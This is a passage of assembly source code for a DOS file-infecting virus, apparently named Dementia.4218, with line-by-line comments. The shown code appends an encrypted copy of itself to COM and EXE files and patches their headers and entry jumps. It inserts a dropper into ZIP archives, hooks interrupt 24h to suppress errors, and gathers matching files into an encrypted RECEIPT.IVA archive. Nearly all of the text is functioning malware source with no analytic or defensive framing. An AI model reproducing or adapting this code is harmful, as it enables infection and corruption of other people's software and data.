ds:[12h],ax ; Store low-order word of compress... mov ds:[16h],ax ; Store low-order word of uncompre... mov ax,[bp-1ah] ; AX = high-order word of filesize mov ds:[14h],ax ; Store high-order word of compres... mov ds:[18h],ax ; Store high-order word of uncompr... mov ax,0ch ; AX = filename length (12 bytes) mov ds:[1ah],ax ; Store filename length (12 bytes) xor ax,ax ; AX = extra field length (0 bytes) mov ds:[1ch],ax ; Store extra field length (0 bytes) mov cx,1eh ; Write thirty bytes call write_file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,filename ; DX = offset of filename nop mov cx,0ch ; Write twelve bytes nop call write_file_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM call set_pos_sof copy_callfas: mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM mov cx,400h ; Read one thousand and twenty-fou... call read_file cmp ax,00h ; Read all of the file? je copy_cds_ ; Equal? Jump to copy_cds_ mov cx,ax ; CX = number of bytes actually read mov bx,[bp-08h] ; BX = file handle of ZIP file call write_file jmp copy_callfas copy_cds_: mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call set_pos_sof cpy_cds_loop: mov ax,[bp-0ch] ; AX = number of central directory... cmp ax,00h ; No central directory file header? je wrt_last_cds ; Equal? Jump to write_last_cds dec ax ; Decrease number of central direc... mov [bp-0ch],ax ; Store number of central director... mov ax,'KP' ; AX = low-order word of central d... mov ds:[00h],ax ; Store low-order word of central ... mov ax,201h ; AX = high-order word of central ... mov ds:[02h],ax ; Store high-order word of central... mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! mov cx,2ah ; Read forty-two bytes mov dx,04h ; DX = offset of central directory... call read_file_ mov cx,ds:[1ch] ; CX = filename length mov dx,ds:[1eh] ; DX = extra field length add cx,dx ; Add extra field length to filena... mov dx,ds:[20h] ; DX = file comment length add cx,dx ; CX = number of bytes to read push cx ; Save CX at stack mov dx,2eh ; DX = offset of central directory... call read_file_ mov bx,[bp-08h] ; BX = file handle of ZIP file pop cx ; Load CX from stack add cx,2eh ; Add size of central directory fi... call write_file jmp cpy_cds_loop wrt_last_cds: mov ax,0ah ; AX = version made by (version 1.... mov ds:[04h],ax ; Store version made by (version 1... mov ds:[06h],ax ; Store version needed to extract (... xor ax,ax ; AX = general purpose bit flag and... mov ds:[08h],ax ; Store general purpose bit flag mov ds:[0ah],ax ; Store compression method (the fil... mov ax,3021h ; AX = last modified file time mov ds:[0ch],ax ; Store last modified file time mov ax,1ae1h ; AX = last modified file date mov ds:[0eh],ax ; Store last modified file date mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch... mov ds:[10h],ax ; Store low-order word of CRC-32 c... mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c... mov ds:[12h],ax ; Store high-order word of CRC-32 ... mov ax,[bp-1ch] ; AX = low-order word of filesize mov ds:[14h],ax ; Store low-order word of compress... mov ds:[18h],ax ; Store low-order word of uncompre... mov ax,[bp-1ah] ; AX = high-order word of filesize mov ds:[16h],ax ; Store high-order word of compres... mov ds:[1ah],ax ; Store high-order word of compres... mov ax,0ch ; AX = filename length (12 bytes) mov ds:[1ch],ax ; Store filename length (12 bytes) xor ax,ax ; AX = extra field length, file co... mov ds:[1eh],ax ; Store extra field length (0 bytes) mov ds:[20h],ax ; Store file comment length (0 bytes) mov ds:[22h],ax ; Store disk number start (0 bytes) mov ds:[24h],ax ; Store internal file attributes mov ds:[26h],ax ; Store low-order word of external... mov ds:[28h],ax ; Store high-order word of externa... mov ax,[bp-18h] ; AX = low-order word of offset of... mov ds:[2ah],ax ; Store low-order word of relative... mov ax,[bp-16h] ; AX = high-order word of offset o... mov ds:[2ch],ax ; Store high-order word of relativ... mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,2eh ; Write forty-six bytes call write_file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,filename ; DX = offset of filename nop mov cx,0ch ; Write twelve bytes nop call write_file_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov ax,'KP' ; AX = low-order word of end of ce... mov ds:[00h],ax ; Store low-order word of end of c... mov ax,605h ; AX = high-order word of end of c... mov ds:[02h],ax ; Store high-order word of end of ... mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! mov cx,12h ; Read eightteen bytes mov dx,04h ; DX = offset of end of central di... call read_file_ mov cx,ds:[14h] ; CX = zipfile comment length push cx ; Save CX at stack mov dx,16h ; DX = offset of zipfile comment call read_file_ mov ax,ds:[08h] ; AX = total number of entries in ... inc ax ; Increase total number of entries... mov ds:[08h],ax ; Store total number of entries in... mov ax,ds:[0ah] ; AX = total number of entries in ... inc ax ; Increase total number of entries... mov ds:[0ah],ax ; Store total number of entries in... mov ax,ds:[0ch] ; AX = low-order word of size of t... mov dx,ds:[0eh] ; DX = high-order word of size of ... add ax,3ah ; Add size of central directory fi... nop adc dx,00h ; Convert to 32-bit mov ds:[0ch],ax ; Store low-order word of size of ... mov ds:[0eh],dx ; Store high-order word of size of... mov ax,ds:[10h] ; AX = low-order word of offset of... mov dx,ds:[12h] ; DX = high-order word of offset o... add ax,2ah ; Add size of local file header to... nop adc dx,00h ; Convert to 32-bit mov bx,[bp-1ah] ; BX = high-order word of filesize add dx,bx ; Add high-order word of filesize ... mov bx,[bp-1ch] ; BX = low-order word of filesize add ax,bx ; Add low-order word of filesize t... adc dx,00h ; Convert to 32-bit mov ds:[10h],ax ; Store low-order word of offset o... mov ds:[12h],dx ; Store high-order word of offset ... mov bx,[bp-08h] ; BX = file handle of ZIP file pop cx ; Load CX from stack add cx,16h ; Add size of end of central direc... call write_file mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM call close_file lea dx,filename ; DX = offset of filename nop call delete_file jmp call_mark_ test_receipt: mov ax,[bp-12h] ; AX = found RECEIPT.IVA or ax,ax ; Didn't found RECEIPT.IVA jz exam_extra ; Zero? Jump to exam_extra jmp call_mark_ exam_extra: mov bx,[bp-08h] ; BX = file handle of ZIP file mov cx,[bp-22h] ; CX = high-order word of extra field mov dx,[bp-24h] ; DX = low-order word of extra field call set_pos_sof_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov es,ax ; ES = segment of data buffer mov cx,400h ; Read one thousand and twenty-fou... call read_file cld ; Clear direction flag xor si,si ; Zero SI xor di,di ; Zero DI lodsw ; AX = word of extra field cmp ax,1492h ; Found infection mark? je comp_extra ; Equal? Jump to comp_extra jmp call_mark_ comp_extra: lodsw ; AX = word of extra field cmp ax,1776h ; Found infection mark? je load_extra ; Equal? Jump to load_extra jmp call_mark_ load_extra: lodsw ; AX = 16-bit decryption key mov dx,ax ; DX = " " " lodsb ; AL = number of file specifications xor cx,cx ; Zero CX mov cl,al ; CL = number of filespecification push ax ; Save AX at stack decrypt_next: push cx ; Save CX at stack mov cx,07h ; Decryption fourteen bytes decrypt_spec: lodsw ; AX = word of encrypted file spec... xor ax,dx ; Decrypt word of file specification stosw ; Store word of file specification loop decrypt_spec pop cx ; Load CX from stack loop decrypt_next mov ax,ds ; AX = segment of data buffer add ax,40h ; AX = segment of pathname mov es,ax ; ES = " " " push ds ; Save DS at stack push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov ah,47h ; Get current directory xor dl,dl ; Default drive xor si,si ; Zero SI int 21h pop ds ; Load DS from stack mov ax,es ; AX = segment of pathname add ax,04h ; AX = segment of end of pathname mov es,ax ; ES = " " " " " xor di,di ; Zero DI mov al,'\' ; AL = backslash stosb ; Store backslash xor al,al ; AL = zero stosb ; Store zero push es ; Save ES at stack mov ah,2fh ; Get disk transfer area address int 21h mov [bp-26h],es ; Store segment of disk transfer a... mov [bp-28h],bx ; Store offset of disk transfer ar... pop es ; Load ES from stack push ds ; Save DS at stack mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+48h mov ds,ax ; DS = segment of disk transfer area xor dx,dx ; Zero DX mov ah,1ah ; Set disk transfer area address int 21h lea dx,receipt_iva ; DX = offset of receipt_iva nop call create_file mov bx,ax ; BX = file handle of RECEIPT.IVA mov [bp-14h],ax ; Store file handle of RECEIPT.IVA pop ds ; Load DS from stack pop ax ; Load AX from stack mov dx,01h ; Don't store backslash call create_recei mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA call set_pos_sof mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+48h mov ds,ax ; DS = segment of disk transfer area mov es,ax ; ES = " " " " " encrypt_rece: mov cx,400h ; Read one thousand and twenty-fou... call read_file cmp ax,00h ; Read all of the file? je set_dta_addr ; Equal? Jump to set_dta_addr push ax ; Save AX at stack xor dx,dx ; Zero DX sub dx,ax ; DX = -number of bytes actually read mov cx,-01h call set_pos_cfp pop ax ; Load AX from stack push ax ; Save AX at stack mov cx,ax ; CX = number of bytes actually read xor si,si ; Zero SI xor di,di ; Zero DI encrypt_ipt_: lodsb ; AL = byte of RECEIPT.IVA xor al,0ffh ; Encrypt byte of RECEIPT.IVA stosb ; Store encrypted byte of RECEIPT.IVA loop encrypt_ipt_ pop ax ; Load AX from stack mov cx,ax ; CX = number of bytes actually read call write_file jmp encrypt_rece set_dta_addr: call close_file mov ds,[bp-26h] ; DS = segment of disk transfer area mov dx,[bp-28h] ; DX = offset of disk transfer area mov ah,1ah ; Set disk transfer area address int 21h mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+40h mov ds,ax ; DS = segment of data buffer xor dx,dx ; Zero DX mov ah,3bh ; Set current directory int 21h push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea si,receipt_iva ; SI = offset of receipt_iva nop lea di,filename ; DI = offset of filename nop mov cx,0dh ; Move thirteen bytes rep movsb ; Move RECEIPT.IVA to filename jmp open_filenam call_mark_: mov bx,[bp-08h] ; BX = file handle of ZIP file call infect_mark mov bx,[bp-08h] ; BX = file handle of ZIP file call close_file mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! call close_file lea dx,temp_file ; DX = offset of temp_file nop call delete_file inf_zip_exit: call int24_load pop es ds di si dx cx bx ax mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp infect_com proc near ; Infect COM file push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,04h ; Correct stack pointer mov ah,00h ; COM executable nop nop mov cs:[com_or_exe],ah ; Store COM executable mov ax,ds:[00h] ; AX = word of original code of CO... mov word ptr cs:[origin_code],ax mov al,ds:[02h] ; AL = byte of original code of CO... mov cs:[origin_code+02h],al call encrypt_copy call set_pos_eof mov [bp-04h],ax ; Store low-order word of filesize mov [bp-02h],dx ; Store high-order word of filesize push ax ; Save AX at stack mov ax,cs:[tst_filesize] cmp ax,01h ; Don't test filesize? pop ax ; Load AX from stack je calc_buf_seg ; Equal? Jump to calc_buf_seg cmp dx,00h ; Filesize too large? jne inf_com_exit ; Not equal? Jump to inf_com_exit cmp ax,1000h ; Filesize too small? jb inf_com_exit ; Below? Jump to inf_com_exit calc_buf_seg: add ax,(code_end-code_begin) jb inf_com_exit ; Filesize too large? Jump to inf_... mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer mov cx,10h ; CX = number of bytes to add to f... mov ax,[bp-04h] ; AX = filesize and ax,0000000000001111b sub cx,ax ; CX = number of bytes to add to f... mov ax,[bp-04h] ; AX = filesize add ax,cx ; AX = offset of virus within file mov [bp-04h],ax ; Store offset of virus within file call write_file_ mov cx,(code_end-code_begin) call write_file mov al,0e9h ; JMP imm16 (opcode 0e9h) mov ds:[00h],al ; Store JMP imm16 mov ax,[bp-04h] ; AX = filesize sub ax,03h ; Subtract size of opcode JMP imm16 mov ds:[01h],ax ; Store 16-bit immediate call set_pos_sof mov cx,03h ; Write three bytes call write_file inf_com_exit: mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp infect_exe proc near ; Infect EXE file push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,04h ; Correct stack pointer mov ah,01h ; EXE executable nop nop mov cs:[com_or_exe],ah ; Store EXE executable call set_pos_eof mov [bp-04h],ax ; Store low-order word of filesize mov [bp-02h],dx ; Store high-order word of filesize and ax,0000000000001111b mov cx,10h ; CX = number of bytes to add to f... sub cx,ax ; CX = " " " " " " " mov ax,[bp-04h] ; AX = low-order word of filesize mov dx,[bp-02h] ; DX = high-order word of filesize add ax,cx ; Add number of bytes to add to fi... adc dx,00h ; Convert to 32-bit mov [bp-04h],ax ; Store low-order word of pointer ... mov [bp-02h],dx ; Store high-order word of pointer... call write_file_ push bx ; Save BX at stack mov ax,[bp-04h] ; AX = low-order word of pointer t... mov dx,[bp-02h] ; DX = high-order word of pointer ... mov bx,ds:[08h] ; BX = header size in paragraphs mov cl,0ch ; Divide by four thousand and nine... shr bx,cl ; BX = header size in sixty-five t... sub dx,bx ; Subtract header size in sixty fi... mov bx,ds:[08h] ; BX = header size in paragraphs mov cl,04h ; Multiply by paragraphs shl bx,cl ; BX = header size sub ax,bx ; Subtract header size from filesize sbb dx,00h ; Convert to 32-bit mov [bp-04h],ax ; Store low-order word of pointer ... mov [bp-02h],dx ; Store high-order word of pointer... pop bx ; Load BX from stack mov ax,ds:[14h] ; AX = original instruction pointer mov cs:[instruct_ptr],ax mov ax,ds:[16h] ; AX = original code segment mov cs:[code_seg],ax ; Store original code segment xor ax,ax ; Zero AX mov ds:[14h],ax ; Store initial IP mov cs:[initial_ip],ax ; Store " " mov ax,[bp-02h] ; AX = high-order word of pointer ... test ax,1111111111110000b jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr jmp inf_exe_exit calc_ins_ptr: mov cl,0ch shl ax,cl ; Multiply by sixty-five thousand ... mov dx,[bp-04h] ; DX = low-order word of pointer t... mov cl,04h ; Divide by paragraphs shr dx,cl ; DX = low-order word of pointer t... add ax,dx ; AX = initial CS relative to star... mov ds:[16h],ax ; Store initial CS relative to sta... mov cs:[initial_cs],ax ; " " " " " " push ax ; Save AX at stack mov ax,ds:[0eh] ; AX = initial SS relative to star... mov cs:[stack_seg],ax ; Store initial SS relative to sta... mov ax,ds:[10h] ; AX = initial SP mov cs:[stack_ptr],ax ; Store initial SP pop ax ; Load AX from stack add ax,(code_end-code_begin+0fh)/10h jae store_stack ; Above or equal? Jump to store_stack jmp inf_exe_exit nop store_stack: mov ds:[0eh],ax ; Store initial SS relative to sta... mov ax,100h ; AX = initial SP mov ds:[10h],ax ; Store initial SP push bx ; Save BX at stack mov ax,[bp-04h] ; AX = low-order word of pointer t... mov dx,[bp-02h] ; DX = high-order word of pointer ... mov bx,ds:[08h] ; BX = header size in paragraphs mov cl,0ch ; Divide by four thousand and nine... shr bx,cl ; BX = header size in sixty-five t... add dx,bx ; Add header size in sixty-five th... mov bx,ds:[08h] ; BX = header size in paragraphs mov cl,04h ; Multiply by paragraphs shl bx,cl ; BX = header size add ax,bx ; Add header size to filesize adc dx,00h ; Convert to 32-bit mov [bp-04h],ax ; Store low-order word of pointer ... mov [bp-02h],dx ; Store high-order word of pointer... pop bx ; Load BX from stack mov ax,[bp-04h] ; AX = low-order word of pointer t... mov dx,[bp-02h] ; DX = high-order word of pointer ... add ax,(code_end-code_begin) adc dx,00h ; Convet to 32-bit mov cl,07h shl dx,cl ; Multiply by one hundred and twen... push ax ; Save AX at stack mov cl,09h ; Divide by pages shr ax,cl ; AX = low-order word of pointer t... add dx,ax ; DX = number of bytes on last 512... pop ax ; Load AX from stack and ax,0000000000011111b jz store_pages ; Zero? Jump to store_pages inc dx ; Increase number of bytes on last... jmp store_pages_ nop store_pages: mov ax,200h ; AX = total number of 512-bytes p... store_pages_: mov ds:[02h],ax ; Store total number of 512-bytes ... mov ds:[04h],dx ; Store number of bytes on last 51... mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc... cmp ax,10h ; Maximum paragraphs to allocate ...? jae store_maximu ; Above or equal? Jump to store_ma... mov ax,10h ; AX = new maximum paragraphs to a... store_maximu: mov ds:[0ch],ax ; Store maximum paragraphs to allo... call set_pos_sof mov cx,20h ; Write thirty-two bytes call write_file call set_pos_eof call encrypt_copy mov cx,(code_end-code_begin) call write_file inf_exe_exit: mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp encrypt_copy proc near ; Move virus to data buffer and en... push bx ; Save BX at stack mov ah,2ch ; Get system time int 21h mov bx,cx ; BX = hour and minute xor bx,dx ; BX = 16-bit random number mov ah,2ah ; Get system date int 21h xor bx,cx ; BX = 16-bit random number xor bx,dx ; BX = decryption key mov dx,bx ; DX = " " mov cs:[decrypt_key],dx ; Store decryption key pop bx ; Load BX from stack cld ; Clear direction flag mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov es,ax ; ES = segment of data buffer push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor si,si ; Zero SI xor di,di ; Zero DI mov cx,(code_end-code_begin) rep movsb ; Move virus to data buffer push es ; Save ES at stack pop ds ; Load DS from stack (ES) lea si,crypt_begin-02h ; SI = offset of crypt_end mov di,si ; DI = " " " mov cx,(crypt_begin-crypt_end-02h)/02h std ; Set direction flag encrypt_loop: lodsw ; AX = word of plain code xor ax,dx ; Encrypt word stosw ; Store encrypted word loop encrypt_loop cld ; Clear direction flag ret ; Return! endp int24_store proc near ; Get and set interrupt vector 24h push bx dx ds es ; Save registers at stack mov ax,3524h ; Get interrupt vector 24h int 21h mov word ptr cs:[int24_addr],bx mov word ptr cs:[int24_addr+02h],es push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h mov ax,2524h ; Set interrupt vector 24h int 21h pop es ds dx bx ; Load registers from stack ret ; Return! endp int24_load proc near ; Set interrupt vector 24h push dx ds ; Load registers from stack mov dx,word ptr cs:[int24_addr] mov ds,word ptr cs:[int24_addr+02h] mov ax,2524h ; Set interrupt vector 24h int 21h pop ds dx ; Load registers from stack ret ; Return! endp int24_virus proc near ; Interrupt 24h of Dementia.4218 mov al,03h ; Fail system call in progress iret ; Interrupt return! endp calc_crc32 proc near ; Calculate CRC-32 checksum mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h mov ds,ax ; DS = segment of data buffer add ax,40h ; AX = segment of CRC-32 table mov es,ax ; ES = " " " " xor di,di ; Zero DI xor cx,cx ; Zero CX gen_crc_tab: xor dx,dx ; Zero DX xor ax,ax ; Zero AX mov al,cl ; AL = counter push cx ; Save CX at stack mov cx,08h ; Calculate each CRC-32 table entr... gen_crc_loop: clc ; Clear carry flag rcr dx,01h ; Rotate DX through carry one bit ... rcr ax,01h ; Rotate AX through carry one bit ... jnc carry_loop ; No carry? Jump to carry_loop xor dx,0edb8h ; DX = high-order word of CRC-32 t... xor ax,8320h ; AX = low-order word of CRC-32 ta... carry_loop: loop gen_crc_loop mov es:[di],ax ; Store low-order word of CRC-32 t... mov es:[di+02h],dx ; Store high-order word of CRC-32 ... add di,04h ; DI = offset of next CRC-32 table... pop cx ; Load CX from stack inc cx ; Increase count register cmp cx,100h ; Generated enough CRC-32 table en... jne gen_crc_tab ; Not equal? Jump to gen_crc_tab call set_pos_sof mov dx,0ffffh ; DX = high-order word of CRC-32 c... mov ax,0ffffh ; AX = low-order word of CRC-32 ch... read_block: push ax dx ; Save registers at stack mov cx,400h ; Read one thousand and twenty-fou... call read_file cmp ax,00h ; Read all of the file? je calc_crc_xit ; Equal? Jump to calc_crc_xit mov cx,ax ; CX = number of bytes actually read pop dx ax ; Load registers from stack xor si,si ; Zero SI cal_crc_loop: push bx cx ; Save registers at stack xor bh,bh ; Zero BH mov bl,[si] ; BL = byte of file inc si ; Increase index register xor bl,al ; Exclusive OR (XOR) byte of file ... mov cl,02h shl bx,cl ; Multiply by four mov di,bx ; DI = offset of next CRC-32 table... mov al,ah ; AL = low-order byte of low-order... mov ah,dl ; AH = high-order byte of low-orde... mov dl,dh ; DL = low-order byte of high-orde... xor dh,dh ; Zero DH mov bx,es:[di] ; BX = low-order word of CRC-32 ta... xor ax,bx ; AX = low-order word of CRC-32 ch... mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t... xor dx,bx ; DX = high-order word of CRC-32 c... pop cx bx ; Load registers from stack loop cal_crc_loop jmp read_block calc_crc_xit: pop dx ax ; Load registers from stack xor dx,0ffffh ; DX = high-order word of CRC-32 c... xor ax,0ffffh ; AX = low-order word of CRC-32 ch... ret ; Return! endp create_recei proc near ; Create RECEIPT.IVA file push bp ; Save BP at stack mov bp,sp ; BP = stack pointer sub sp,12h ; Correct stack pointer mov [bp-08h],ax ; Store number of file specifications mov [bp-10h],bx ; Store file handle of RECEIPT.IVA mov [bp-02h],dx ; Store store or don't store backs... mov [bp-06h],ds ; Store segment of file specificat... mov ah,3bh ; Set current directory push es ; Save ES at stack pop ds ; Load DS from stack (ES) xor dx,dx ; Zero DX int 21h mov ax,[bp-08h] ; AX = number of file specifications xor cx,cx ; Zero CX mov cl,al ; CL = number of file specifications xor dx,dx ; Zero DX find_first_: mov ds,[bp-06h] ; DS = segment of file specification push cx ; Save CX at stack mov cx,0000000000000111b call find_first push dx ; Save DX at stack jnc find_next_ ; No error? Jump to find_next_ jmp fnd_nxt_loop nop find_next_: mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+48h mov ds,ax ; DS = segment of disk transfer area mov dx,1eh ; DX = offset of filename call open_file mov [bp-12h],ax ; Store file handle of file within... mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA call set_pos_eof push ds ; Save DS at stack mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+44h mov ds,ax ; DS = segment of end of pathname mov cx,40h ; Write sixty-four bytes mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA call write_file pop ds ; Load DS from stack mov cx,0eh ; Write fourteen bytes mov dx,1eh ; DX = offset of filename call write_file_ mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+4ch mov ds,ax ; DS = segment of data buffer mov bx,[bp-12h] ; BX = file handle of file within ... call set_pos_eof mov ds:[00h],ax ; Store low-order word of filesize mov ds:[02h],dx ; Store high-order word of filesize mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA mov cx,04h ; Write four bytes call write_file mov bx,[bp-12h] ; BX = file handle of file within ... call set_pos_sof copy_file: mov bx,[bp-12h] ; BX = file handle of file within ... mov cx,400h ; Read one thousand and twenty-fou... call read_file cmp ax,00h ; Read all of the file? je call_fnd_nxt ; Equal? Jump to call_fnd_nxt mov cx,ax ; CX = number of bytes actually read mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA call write_file jmp copy_file call_fnd_nxt: mov bx,[bp-12h] ; BX = file handle of file within ... call close_file call find_next jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop jmp find_next_ fnd_nxt_loop: pop dx cx ; Load registers from stack add dx,0eh ; DX = offset of next file specifi... dec cx ; Decrease count register cmp cx,00h ; No more files? je copy_name ; Equal? Jump to copy_name jmp find_first_ copy_name: xor cx,cx ; Zero CX find_first__: push cx ; Save CX at stack push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea dx,file_specifi ; DX = offset of file_specifi nop mov cx,0000000000010111b call find_first jc receip_exit ; Error? Jump to receip_exit pop cx ; Load CX from stack push cx ; Save CX at stack jmp test_count nop found_dir: push cx ; Save CX at stack mov cx,01h ; Don't examine disk transfer area test_count: cmp cx,00h ; Examine disk transfer area? je examine_dta ; Equal? Jump to examine_dta call find_next jc receipt_exit ; Error? Jump to receipt_exit dec cx ; Decrease CX jmp test_count examine_dta: pop cx ; Load CX from stack inc cx ; Increase count register mov ax,cs ; AX = code segment add ax,(code_end-code_begin+0fh)/10h+44h mov es,ax ; ES = segment of end of pathname add ax,04h ; AX = segment of disk transfer area mov ds,ax ; DS = " " " " " mov si,15h ; SI = offset of attribute of file... lodsb ; AL = attribute of file found test al,00010000b ; Directory? je found_dir ; Equal? Jump to found_dir mov si,1eh ; SI = offset of filename lodsb ; AL = byte of filename cmp al,'.' ; Directory? je found_dir ; Equal? Jump to found_dir mov ax,[bp-02h] ; AX = store or don't store backslash mov di,ax ; DI = offset of end of pathname mov si,1eh ; SI = offset of filename cmp al,01h ; Don't store backslash? je copy_name_ ; Equal? Jump to copy_name_ mov al,'\' ; AL = backslash stosb ; Store backslash copy_name_: lodsb ; AL = byte of filename cmp al,00h ; End of filename? je store_zero ; Equal? Jump to store_zero stosb ; Store byte of filename jmp copy_name_ store_zero: mov dx,di ; DX = offset of end of pathname xor al,al ; AL = zero stosb ; Store zero mov ax,[bp-08h] ; AX = number of file specifications mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA mov ds,[bp-06h] ; DS = segment of file specifictions push cx ; Save CX at stack call create_recei pop cx ; Load CX from stack mov ah,3bh ; Set current directory push es ; Save ES at stack pop ds ; Load DS from stack (ES) xor dx,dx ; Zero DX mov di,[bp-02h] ; DI = offset of end of pathname xor al,al ; AL = zero stosb ; Store zero int 21h jmp find_first__ receipt_exit: pop cx ; Load CX from stack receip_exit: mov sp,bp ; SP = stack pointer pop bp ; Load BP from stack ret ; Return! endp open_file proc near ; Open file mov ax,3dffh ; Open file xor cx,cx ; CL = attribute mask of files to ... int 21h mov bx,ax ; BX = file handle ret ; Return! endp close_file proc near ; Close file mov ah,3eh ; Close file int 21h ret ; Return! endp find_first proc near ; Find first matching file mov ax,4e00h ; Find first matching file int 21h ret ; Return! endp find_next proc near ; Find next matching file mov ah,4fh ; Find next matching file int 21h ret ; Return! endp load_info proc near ; Get file's date and time mov ax,5700h ; Get file's date and time int 21h mov [bp-04h],cx ; Store file time mov [bp-02h],dx ; Store file date ret ; Return! endp infect_mark proc near ; Infection mark mov ax,5701h ; Set file's date and time mov cx,[bp-04h] ; CX = file time mov dx,[bp-02h] ; DX = file date and cx,1111111111100000b or cx,0000000000000001b int 21h ret ; Return! endp read_file proc near ; Read from file xor dx,dx ; Zero DX read_file_ proc near ; Read from file mov ah,3fh ; Read from file int 21h ret ; Return! endp endp create_file proc near ; Create file mov ah,3ch ; Create file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) xor cx,cx ; CX = file attributes int 21h ret ; Return! endp write_file proc near ; Write to file xor dx,dx ; Zero DX write_file_ proc near ; Write to file mov ah,40h ; Write to file int 21h ret ; Return! endp endp set_pos_cfp proc near ; Set current file position (CFP) mov ax,4201h ; Set current file position (CFP) int 21h ret ; Return! endp set_pos_eof proc near ; Set current file position (EOF) mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX cwd ; Zero DX int 21h ret ; Return! endp set_pos_sof proc near ; Set current file position (SOF) xor cx,cx ; Zero CX xor dx,dx ; Zero DX set_pos_sof_ proc near ; Set current file position (SOF) mov ax,4200h ; Set current file position (SOF) int 21h ret ; Return! endp endp delete_file proc near ; Delete file push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,41h ; Delete file xor cx,cx ; CL = attribute mask for deletion int 21h ret ; Return! endp file_begin: mov ax,0b800h ; AX = segment of text video RAM mov es,ax ; ES = " " " " " xor di,di ; Zero DI mov cx,7d0h ; Store four thousand bytes mov ax,720h ; Black background color, light-gr... rep stosw ; Overwrite text video RAM xor di,di ; Zero DI mov si,(ansi_begin-file_begin+100h) mov cx,(ansi_end-ansi_begin) nop load_ansi: lodsb ; AL = byte of ansi cmp al,0ffh ; Write a string? jne store_ansi ; Not equal? Jump to store_ansi lodsb ; AL = byte of ansi dec cx ; Derease count register cmp al,0ffh ; Write a single character? je store_ansi ; Equal? Jump to store_ansi push cx si ds ; Save registers at stack xor cx,cx ; Zero CX mov cl,al ; CL = size of string lodsb ; AL = byte of ansi mov bl,al ; BL = low-order byte of offset of... lodsb ; AL = byte of ansi mov bh,al ; BH = high-order byte of offset o... mov si,bx ; SI = offset of string within ansi push es ; Save ES at stack pop ds ; Load DS from stack (ES) rep movsb ; Move string to text video RAM pop ds si cx ; Load registers at stack add si,02h ; Add two to index register sub cx,02h ; Subtract two from count register jmp ansi_loop nop nop store_ansi: stosb ; Store a byte of ansi ansi_loop: loop load_ansi int 20h ansi_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h db 